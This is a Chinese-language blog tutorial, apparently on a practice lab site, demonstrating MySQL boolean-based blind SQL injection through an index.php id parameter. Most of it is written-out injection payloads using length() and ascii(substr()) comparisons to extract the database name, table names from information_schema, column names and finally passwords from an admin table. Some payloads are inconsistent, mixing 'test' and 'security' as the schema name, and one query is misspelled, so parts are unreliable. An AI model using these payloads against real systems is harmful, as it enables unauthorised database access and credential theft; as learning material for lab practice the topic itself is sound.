zoukankan      html  css  js  c++  java
  • 大哥带我们的mysql注入 基于bool的盲注

    盲注 那么我们来了解一点盲注的语法

    这里面是语法的介绍

    https://blog.csdn.net/alex_seo/article/details/82148955

    0X01第一步我们先判断当前数据库的长度

    语法构造

    /index.php?id=1%20and%20length((select%20database()))%3E3 正确
    index.php?id=1 and length((select database()))>4 错误

     

    那我们确定数据库名字大于3不大于4 那么数据库长度就是4了

    0X02爆数据库名称

    http://www.php-sqli.net/index.php?id=1%20and%20ascii(substr((select%20database()),1,1))%3E1 正确
    ?id=1 and ascii(substr((select database()),1,1))>100 真确
    id=1 and ascii(substr((select database()),1,1))>115正确
    
    
    ?id=1 and ascii(substr((select database()),1,1))>116 错误

    那我们得到数据库的第一个位置的数据的ascii是116 =>t

    继续爆第二个

    ?id=1 and ascii(substr((select database()),2,1))>100 正确
    ?id=1 and ascii(substr((select database()),2,1))>101 错误 

    那么第二个字母是 101=>e

    继续爆第三个

    ?id=1 and ascii(substr((select database()),3,1))>114 正确  
    ?id=1 and ascii(substr((select database()),3,1))>115 错误

    第三个字母 115=> s

    第四个

    ?id=1 and ascii(substr((select database()),4,1))>115 真确  
    ?id=1 and ascii(substr((select database()),4,1))>116 错误

    第四个 => 116 t

    那么我们的数据库的名称应该是test

    0X02爆表名

    先判断有多少个表

    1' and (select count(*) from information_schema.tables where table_schem=database())>5#

    这里我不知道语法

    然后第一个表的长度

    
    
    id=1 and length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>4
    这里可以看见正确
    
    
    id=1 and length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5 错误

    那么第一个表长度为4

    爆第一个表的表名的第一个字母

    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1 正确
    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 正确
    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 错误

    那么这里我们知道表名的第一个之母是101=>e

    第二个字母的爆破

    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>108 正确
    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))>109 错误

    那么第二个字母 =>109  m

    爆到这里不爆了 大概是email

    我们开始爆破第二个表

    ?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100 正确 
    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>114 错误
    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>113 正确

    第一个字母是114=>r

    不是admin不想要

    第三个表

    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1))>116 正确
    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1))>117 错误

    第一个字母 117=> u

    这个人肯定是users表 不多bb了盲注太烦了直接爆 列名

    卧槽 库名是test 我要写成security 打错特错

    0X03爆列名

    操作和爆破表名的操作是一样的

    这里我们爆破出来是 username 和password

    0X04爆字段

    password

    ascii(substr((select password from admin limit 0,1),1,1))>1

    查内容 我们在查我们的密码 在admin表里面的password列里面

  • 相关阅读:
    vivado操作基本问题
    IIC通信控制的AD5259------在调试过程中遇到的奇葩问题
    FPGA基础架构总结
    PLL到底是个啥么东西呢?
    CSS-3 Transform 的使用
    CSS-3 box-shadow 的使用
    一些CSS3的乐趣
    CSS-3 文字阴影—text-shadow 的使用
    Jquery 较好的效果
    如何关闭输入法
  • 原文地址:https://www.cnblogs.com/-zhong/p/10930838.html
Copyright © 2011-2022 走看看